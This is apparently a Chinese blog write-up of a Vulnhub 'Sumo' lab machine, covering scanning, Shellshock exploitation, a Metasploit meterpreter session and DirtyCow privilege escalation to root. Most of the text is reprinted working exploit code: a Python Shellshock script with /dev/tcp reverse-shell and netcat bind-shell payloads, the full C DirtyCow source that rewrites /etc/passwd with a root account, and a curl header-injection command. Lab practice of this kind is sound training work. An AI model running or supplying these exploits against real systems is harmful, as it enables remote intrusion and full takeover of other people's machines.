Vulnhub:Sumo靶机练习

环境:VMware+kali  桥接网络
目标:获取root权限
 
1、快速发现局域网内的主机,使用命令
  arp-sacn -l
 
  使用nmap,对该主机进行详细的扫描nmap -sS -sV -A -vv 172.168.10.217
 
2、浏览http服务,主页只显示默认页面。
 
3、使用dirb扫一下,dirb http://172.168.10.217
 
DIRB有一个默认的单词列表,并且运行上面的命令没有发现任何有用目录。重新运行命令,指定了big.txt单词列表。但是还是没有扫到更多的东西.
 
  现在尝试指定一些文件扩展名,例如.html和.php,再次,没有什么。尝试了/usr/share/dirb/wordlists中的每个单词列表,但是没有返回任何结果,除了一个/cgi-bin/test脚本。
4、现在使用工具Nikto:
 
  这揭示了两个潜在的攻击向量,包括shellshock,以及由于Apache模块强制使用文件名的能力。花了很长时间在谷歌上搜索各种可以利用的东西。然而,在google了许多方法来找出如何利用shellshock漏洞之后,我发现了一个漏洞,并且能够利用shellshock漏洞!https://www.exploit-db.com/exploits/34900
 
  在Kali上下载了这个漏洞,运行Python命令,这个方法是有问题的,我这边暂时无法运行该脚本... ...
  再次测试了脚本,把页面中的代码,全部复制粘贴了一边,并且放在了英文目录下,就可以运行了:
   代码如下:
  1 #! /usr/bin/env pythonfrom socket import *from threading import Thread
  2 import thread, time, httplib, urllib, sys
  3 
  4 stop = False
  5 proxyhost = ""
  6 proxyport = 0
  7 
  8 def usage():
  9 print """
 10 
 11 Shellshock apache mod_cgi remote exploit
 12 
 13 Usage:
 14 ./exploit.py var=<value>
 15 
 16 Vars:
 17 rhost: victim host
 18 rport: victim port for TCP shell binding
 19 lhost: attacker host for TCP shell reversing
 20 lport: attacker port for TCP shell reversing
 21 pages: specific cgi vulnerable pages (separated by comma)
 22 proxy: host:port proxy
 23 
 24 Payloads:
 25 "reverse" (unix unversal) TCP reverse shell (Requires: rhost, lhost, lport)
 26 "bind" (uses non-bsd netcat) TCP bind shell (Requires: rhost, rport)
 27 
 28 Example:
 29 
 30 ./exploit.py payload=reverse rhost=1.2.3.4 lhost=5.6.7.8 lport=1234
 31 ./exploit.py payload=bind rhost=1.2.3.4 rport=1234
 32 
 33 Credits:
 34 
 35 Federico Galatolo 2014
 36 """
 37 sys.exit(0)
 38 
 39 def exploit(lhost,lport,rhost,rport,payload,pages):
 40 headers = {"Cookie": payload, "Referer": payload}
 41 
 42 for page in pages:
 43 if stop:
 44 return
 45 print "[-] Trying exploit on : "+page
 46 if proxyhost != "":
 47 c = httplib.HTTPConnection(proxyhost,proxyport)
 48 c.request("GET","http://"+rhost+page,headers=headers)
 49 res = c.getresponse()
 50 else:
 51 c = httplib.HTTPConnection(rhost)
 52 c.request("GET",page,headers=headers)
 53 res = c.getresponse()
 54 if res.status == 404:
 55 print "[*] 404 on : "+page
 56 time.sleep(1)
 57 
 58 
 59 args = {}
 60 
 61 for arg in sys.argv[1:]:
 62 ar = arg.split("=")
 63 args[ar[0]] = ar[1]try:
 64 args['payload']except:
 65 usage()
 66 
 67 if args['payload'] == 'reverse':
 68 try:
 69 lhost = args['lhost']
 70 lport = int(args['lport'])
 71 rhost = args['rhost']
 72 payload = "() { :;}; /bin/bash -c /bin/bash -i >& /dev/tcp/"+lhost+"/"+str(lport)+" 0>&1 &"
 73 except:
 74 usage()elif args['payload'] == 'bind':
 75 try:
 76 rhost = args['rhost']
 77 rport = args['rport']
 78 payload = "() { :;}; /bin/bash -c 'nc -l -p "+rport+" -e /bin/bash &'"
 79 except:
 80 usage()else:
 81 print "[*] Unsupported payload"
 82 usage()
 83 
 84 try:
 85 pages = args['pages'].split(",")except:
 86 pages = ["/cgi-sys/entropysearch.cgi","/cgi-sys/defaultwebpage.cgi","/cgi-mod/index.cgi","/cgi-bin/test.cgi","/cgi-bin-sdb/printenv"]
 87 
 88 try:
 89 proxyhost,proxyport = args['proxy'].split(":")except:
 90 pass
 91 
 92 if args['payload'] == 'reverse':
 93 serversocket = socket(AF_INET, SOCK_STREAM)
 94 buff = 1024
 95 addr = (lhost, lport)
 96 serversocket.bind(addr)
 97 serversocket.listen(10)
 98 print "[!] Started reverse shell handler"
 99 thread.start_new_thread(exploit,(lhost,lport,rhost,0,payload,pages,))if args['payload'] == 'bind':
100 serversocket = socket(AF_INET, SOCK_STREAM)
101 addr = (rhost,int(rport))
102 thread.start_new_thread(exploit,("",0,rhost,rport,payload,pages,))
103 
104 buff = 1024
105 
106 while True:
107 if args['payload'] == 'reverse':
108 clientsocket, clientaddr = serversocket.accept()
109 print "[!] Successfully exploited"
110 print "[!] Incoming connection from "+clientaddr[0]
111 stop = True
112 clientsocket.settimeout(3)
113 while True:
114 reply = raw_input(clientaddr[0]+"> ")
115 clientsocket.sendall(reply+"\n")
116 try:
117 data = clientsocket.recv(buff)
118 print data
119 except:
120 pass
121 
122 if args['payload'] == 'bind':
123 try:
124 serversocket = socket(AF_INET, SOCK_STREAM)
125 time.sleep(1)
126 serversocket.connect(addr)
127 print "[!] Successfully exploited"
128 print "[!] Connected to "+rhost
129 stop = True
130 serversocket.settimeout(3)
131 while True:
132 reply = raw_input(rhost+"> ")
133 serversocket.sendall(reply+"\n")
134 data = serversocket.recv(buff)
135 print data
136 except:
137 pass
 
备注:
  kali 2.0 没有metasploit 这个服务了,所以service metasploit start 的方式不起作用。
       在kali 2.0中启动带数据库支持的MSF方式如下:
       #1 首先启动postgresql数据库:/etc/init.d/postgresql start;或者 service postgresql start;
       #2 初始化MSF数据库(关键步骤!):msfdb init;
       #3 运行msfconsole:msfconsole;
       #4 在msf中查看数据库连接状态:db_status。
       #设置postgresql开启自动启动。(update-rc.d postgresql enable)
      按步骤后操作后,还是无法开启msfconsole,使用下列命令来解决,
      gem update --system
      gem install bundler:1.17.3
      cd /usr/share/metasploit-framework
      bundle install
 
5、但是shell有很多bug,当我运行一个命令时,直到运行下一个命令时,才能看到第一个命令的输出。现在需要另一种方法得到另一个合适的shell,因为它不稳定。现在使用metasploit工具,并设置选项:
  sudo msfconsole
  use multi/script/web_delivery
  set LHOST 172.168.10.37(kali)
  set LPORT 4447
  set target Linux
  set payload linux/x86/meterpreter_reverse_tcp
  exploit
 
  把得到的wget的整条命令,复制到刚刚反弹的shell中,并且启动了meterpreter会话(在运行wget命令之前,必须导航到/tmp目录,因为在当前目录中没有写权限)。可以使用图中命令进入meterpreter会话:
 
  现在有了更稳定的shell了。在终端中输入help以查看可使用的命令
 
6、权限提升
现在找出如何升级特权。搜索了一下目录,但什么也没找到。检查了SUID二进制文件,它没有返回任何有用的结果。
  find / perm -u=s -type f 2 >/dev/null
还检查了所有具有777权限的文件,但同样没有得到有用的结果。
  find / -type f -perm -0777
 
7、下一步是检查是否存在任何内核漏洞。使用以下命令检查内核版本:
 
  发现它的版本很旧,现在开始寻找漏洞。Kali上自带了earchsploit工具。许搜索存在漏洞的应用程序。现在有了内核版本号,决定使用searchsploit来查看它是否容易受到攻击。
 
  列表中有内核漏洞,允许本地特权升级。包括一个利用路径,所以可以尝试利用这个。使用命令locate linux_x86-64/local/33589.c 可以查找给文件在kali中的具体地址。在ka'li开启apache服务,然后把33589文件放在/var/www/html/下,在shell中使用wget命令下载文件 wget http://172.168.10.37/33589.c,使用python打开个终端,python -c 'import pty;pty.spawn("/bin/bash")'
 
  gcc 33589.c -O2 -o exploit
  ./exploit 0
  可能是这个脚本有问题吧,试了几次都是一样的结果,靶机页面如下图,然后不能返回任何信息,我以为是没有像下面的方法一样设置环境变量之类的,但是设置好了之后,还是一样的结果,所以应该就是kali自带的脚本有点问题吧,后面的利用过程还是下面的方法更好些。
 
  根据另一个教程操作的,后面的利用脚本和前面的不太一样。
使用下列命令也可以curl -v http://172.168.10.217/cgi-bin/test/test.cgi -H "custom:() { ignored; }; echo Content-Type: text/html; echo ; /usr/bin/id"
(命令参考地址: https://t.codebug.vip/questions-732388.htm
 
在使用命令反弹shell,再开个终端监听端口
 
注:该靶机是利用的Linux的脏牛漏洞(dirtycowCVE - 2016-5195)
//
// This exploit uses the pokemon exploit of the dirtycow vulnerability
// as a base and automatically generates a new passwd line.
// The user will be prompted for the new password when the binary is run.
// The original /etc/passwd file is then backed up to /tmp/passwd.bak
// and overwrites the root account with the generated line.
// After running the exploit you should be able to login with the newly
// created user.
//
// To use this exploit modify the user values according to your needs.
// The default is "firefart".
//
// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
//
// Compile with:
// gcc -pthread dirty.c -o dirty -lcrypt
//
// Then run the newly create binary by either doing:
// "./dirty" or "./dirty my-new-password"
//
// Afterwards, you can either "su firefart" or "ssh firefart@..."
//
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
// mv /tmp/passwd.bak /etc/passwd
//
// Exploit adopted by Christian "FireFart" Mehlmauer
//
 
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>
 
const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";
 
int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;
 
struct Userinfo {
char *username;
char *hash;
int user_id;
int group_id;
char *info;
char *home_dir;
char *shell;
};
 
char *generate_password_hash(char *plaintext_pw) {
return crypt(plaintext_pw, salt);
}
 
char *generate_passwd_line(struct Userinfo u) {
const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
int size = snprintf(NULL, 0, format, u.username, u.hash,
u.user_id, u.group_id, u.info, u.home_dir, u.shell);
char *ret = malloc(size + 1);
sprintf(ret, format, u.username, u.hash, u.user_id,
u.group_id, u.info, u.home_dir, u.shell);
return ret;
}
 
void *madviseThread(void *arg) {
int i, c = 0;
for(i = 0; i < 200000000; i++) {
c += madvise(map, 100, MADV_DONTNEED);
}
printf("madvise %d\n\n", c);
}
 
int copy_file(const char *from, const char *to) {
// check if target file already exists
if(access(to, F_OK) != -1) {
printf("File %s already exists! Please delete it and run again\n",
to);
return -1;
}
 
char ch;
FILE *source, *target;
 
source = fopen(from, "r");
if(source == NULL) {
return -1;
}
target = fopen(to, "w");
if(target == NULL) {
fclose(source);
return -1;
}
 
while((ch = fgetc(source)) != EOF) {
fputc(ch, target);
}
 
printf("%s successfully backed up to %s\n",
from, to);
 
fclose(source);
fclose(target);
 
return 0;
}
 
int main(int argc, char *argv[])
{
// backup file
int ret = copy_file(filename, backup_filename);
if (ret != 0) {
exit(ret);
}
 
struct Userinfo user;
// set values, change as needed
user.username = "firefart";
user.user_id = 0;
user.group_id = 0;
user.info = "pwned";
user.home_dir = "/root";
user.shell = "/bin/bash";
 
char *plaintext_pw;
 
if (argc >= 2) {
plaintext_pw = argv[1];
printf("Please enter the new password: %s\n", plaintext_pw);
} else {
plaintext_pw = getpass("Please enter the new password: ");
}
 
user.hash = generate_password_hash(plaintext_pw);
char *complete_passwd_line = generate_passwd_line(user);
printf("Complete line:\n%s\n", complete_passwd_line);
 
f = open(filename, O_RDONLY);
fstat(f, &st);
map = mmap(NULL,
st.st_size + sizeof(long),
PROT_READ,
MAP_PRIVATE,
f,
0);
printf("mmap: %lx\n",(unsigned long)map);
pid = fork();
if(pid) {
waitpid(pid, NULL, 0);
int u, i, o, c = 0;
int l=strlen(complete_passwd_line);
for(i = 0; i < 10000/l; i++) {
for(o = 0; o < l; o++) {
for(u = 0; u < 10000; u++) {
c += ptrace(PTRACE_POKETEXT,
pid,
map + o,
*((long*)(complete_passwd_line + o)));
}
}
}
printf("ptrace %d\n",c);
}
else {
pthread_create(&pth,
NULL,
madviseThread,
NULL);
ptrace(PTRACE_TRACEME);
kill(getpid(), SIGSTOP);
pthread_join(pth,NULL);
}
 
printf("Done! Check %s to see if the new user was created.\n", filename);
printf("You can log in with the username '%s' and the password '%s'.\n\n",
user.username, plaintext_pw);
printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",
backup_filename, filename);
return 0;
}
 
把上方代码,在kali中编辑成.c的格式,然后开启一个简单的http服务,因为80端口我已经开启了apache,所以使用其他未被占用的端口,
 
在shell中下载dirty.c的文件:
 
查找gcc相关的信息:
 
查看环境变量,并把gcc添加进去:
 
用法在脚本的注释行中
 
现在开始运行脚本,输入密码的地方是自己随意设置的,一会会用到,需要等待一会:
 
该处给出的信息是使用firefart用户登录,使用刚刚设置的密码。
 
获得了root权限及flag:
 
 
posted @ 2020-06-24 09:36  XYDD  阅读(420)  评论(0编辑  收藏  举报